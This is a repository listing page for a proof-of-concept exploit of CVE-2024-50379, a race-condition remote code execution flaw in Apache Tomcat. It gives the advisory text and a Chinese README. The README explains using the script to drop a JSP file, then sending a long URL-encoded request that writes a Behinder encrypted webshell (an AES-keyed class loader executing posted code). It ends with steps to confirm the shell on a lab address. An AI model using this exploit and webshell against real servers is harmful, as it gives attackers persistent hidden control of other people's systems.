CVE-2024-50379 PoC — Apache Tomcat: RCE due to TOCTOU issue in JSP compilation

Source

https://github.com/dear-cell/CVE-2024-50379

Associated Vulnerability

Title: Apache Tomcat: RCE due to TOCTOU issue in JSP compilation (CVE-2024-50379)
Description:Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability during JSP compilation in Apache Tomcat permits an RCE on case insensitive file systems when the default servlet is enabled for write (non-default configuration). This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.1, from 10.1.0-M1 through 10.1.33, from 9.0.0.M1 through 9.0.97. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.2, 10.1.34 or 9.0.98, which fixes the issue.

Description

CVE-2024-50379利用

Readme

# CVE-2024-50379
CVE-2024-50379利用

CVE-2024-50379.py和upload.txt在同一目录

upload内容为马子

这里的upload内容为生成一个2.jsp的文件

可通过2.jsp创建一个新的4.jsp的原版冰蝎
2.jsp?f=4.jsp&t=%3c%25%40%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%2a%2c%6a%61%76%61%78%2e%63%72%79%70%74%6f%2e%2a%2c%6a%61%76%61%78%2e%63%72%79%70%74%6f%2e%73%70%65%63%2e%2a%22%25%3e%3c%25%21%63%6c%61%73%73%20%55%20%65%78%74%65%6e%64%73%20%43%6c%61%73%73%4c%6f%61%64%65%72%7b%55%28%43%6c%61%73%73%4c%6f%61%64%65%72%20%63%29%7b%73%75%70%65%72%28%63%29%3b%7d%70%75%62%6c%69%63%20%43%6c%61%73%73%20%67%28%62%79%74%65%20%5b%5d%62%29%7b%72%65%74%75%72%6e%20%73%75%70%65%72%2e%64%65%66%69%6e%65%43%6c%61%73%73%28%62%2c%30%2c%62%2e%6c%65%6e%67%74%68%29%3b%7d%7d%25%3e%3c%25%69%66%20%28%72%65%71%75%65%73%74%2e%67%65%74%4d%65%74%68%6f%64%28%29%2e%65%71%75%61%6c%73%28%22%50%4f%53%54%22%29%29%7b%53%74%72%69%6e%67%20%6b%3d%22%65%34%35%65%33%32%39%66%65%62%35%64%39%32%35%62%22%3b%2f%2a%e5%c6%a5%3a%de%a5%c6%01%33%32%4d%6d%64%35%3c%84%4d%31%36%4d%0c%d8%a4%de%a5%c6%01%72%65%62%65%79%6f%6e%64%2a%2f%73%65%73%73%69%6f%6e%2e%70%75%74%56%61%6c%75%65%28%22%75%22%2c%6b%29%3b%43%69%70%68%65%72%20%63%3d%43%69%70%68%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%22%41%45%53%22%29%3b%63%2e%69%6e%69%74%28%32%2c%6e%65%77%20%53%65%63%72%65%74%4b%65%79%53%70%65%63%28%6b%2e%67%65%74%42%79%74%65%73%28%29%2c%22%41%45%53%22%29%29%3b%6e%65%77%20%55%28%74%68%69%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%43%6c%61%73%73%4c%6f%61%64%65%72%28%29%29%2e%67%28%63%2e%64%6f%46%69%6e%61%6c%28%6e%65%77%20%73%75%6e%2e%6d%69%73%63%2e%42%41%53%45%36%34%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%42%75%66%66%65%72%28%72%65%71%75%65%73%74%2e%67%65%74%52%65%61%64%65%72%28%29%2e%72%65%61%64%4c%69%6e%65%28%29%29%29%29%2e%6e%65%77%49%6e%73%74%61%6e%63%65%28%29%2e%65%71%75%61%6c%73%28%70%61%67%65%43%6f%6e%74%65%78%74%29%3b%7d%25%3e



当运行的py文件提示链接超时或者访问网站无法访问的时候就断掉py脚本
访问
http://192.168.36.148:8080/2.jsp
看是否返回seccess 2.jsp! seccess


如果有这个文件但是返回为空则说明肯定有这个漏洞但是并发的时候吧文件覆盖了但是数据没写进去，
则尝试访问1.jsp如果也没有就重新跑脚本。
http://192.168.36.148:8080/1.jsp

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